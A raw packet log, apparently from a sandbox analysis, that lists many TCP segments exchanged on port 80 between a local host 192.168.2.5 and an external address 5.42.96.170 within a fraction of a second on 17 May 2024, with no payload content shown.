May 17, 2024 23:45:16.250174999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250176907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250190020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250191927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250200033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250211000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250220060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250222921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250233889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250246048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250278950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250278950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250278950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250756979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250767946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250777960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250788927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250807047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250818968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250829935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250840902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250857115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250861883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250861883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250861883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250868082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250879049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250883102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250889063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250900030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250910044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250921011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250931978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250942945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250952959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250961065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250961065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250961065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250966072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250977039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250988007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.250997066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250997066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.250998974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251010895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251023054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251033068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251044989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251055956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251063108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251063108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251063108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251066923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251079082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251122952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251122952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251122952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251724005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251735926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251744986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251754999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251765966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251784086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251791000 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251795053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251806021 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251806021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251817942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251827955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251837969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251848936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251858950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251869917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251880884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251892090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251903057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251909018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251909018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251909018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251909018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251909018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251914978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251920938 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251928091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251939058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251941919 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.251950026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251960993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251972914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.251985073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252043962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252043962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252054930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252054930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252320051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252331018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252341032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252351046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252360106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252371073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252382040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252393007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252403975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252414942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252425909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252435923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252446890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252463102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252463102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252463102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252464056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252463102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252463102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252480984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252494097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252505064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252515078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252526999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252538919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252548933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252561092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252568960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252568960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252568960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252568960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252568960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252572060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252583027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252593040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252603054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252614021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252624989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252635956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252648115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252657890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252670050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252681017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252681971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252681971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252681971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252681971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252681971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252691984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252702951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252715111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252723932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252734900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.252787113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252787113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252787113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252787113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.252787113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265572071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265590906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265665054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265676975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265686989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265739918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265753031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265763998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265773058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265773058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265773058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265773058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265882969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265896082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265906096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265918970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265930891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265944004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265954018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.265985012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265985012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265985012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265985012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.265985012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.266001940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.266009092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.266020060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.266104937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.266118050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.266127110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.266139030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.266179085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.266179085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.266179085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.266179085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.266179085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.267792940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.270303011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.271785975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.274193048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.275787115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.279009104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.279787064 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.367789030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.367789030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.387731075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387762070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387849092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387882948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387912989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387938023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.387938023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.387938023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.387944937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387947083 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.387979031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.387993097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388036966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388048887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388082027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388125896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388125896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388173103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388206005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388238907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388247967 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388247967 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388273954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388307095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388436079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388469934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388501883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388535023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388545036 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388545990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388545990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388582945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388631105 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388658047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388679981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388684988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.388731956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388765097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388799906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.388833046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.389967918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390002012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390034914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390080929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390080929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390080929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390080929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390080929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390084982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390114069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390141010 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390163898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390197992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390228987 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390228987 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390242100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390249014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390285015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390317917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390351057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390383005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390392065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390392065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390392065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390392065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390434027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390465975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390499115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390530109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390563011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390573025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390573025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390573025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390573025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390573025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390611887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390645027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390677929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390712976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390760899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390798092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390798092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390798092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390798092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.390805006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390856028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390888929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390922070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390954018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.390986919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391019106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391052008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391061068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391061068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391061068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391061068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391061068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391102076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391134024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391182899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391191959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391215086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391228914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391248941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391279936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391329050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391361952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391392946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391422033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391469955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391500950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391514063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391514063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391514063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391514063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391514063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391532898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391567945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391602993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391650915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391683102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391716003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391746998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391779900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391787052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391787052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391787052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391787052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391787052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391813993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391845942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391860962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.391880035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391913891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391947985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.391979933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392010927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392044067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392076015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392117977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392117977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392117977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392118931 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392118931 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392167091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392199039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392230988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392265081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392297029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392321110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392321110 CEST	49707	80	192.168.2.5	5.42.96.170
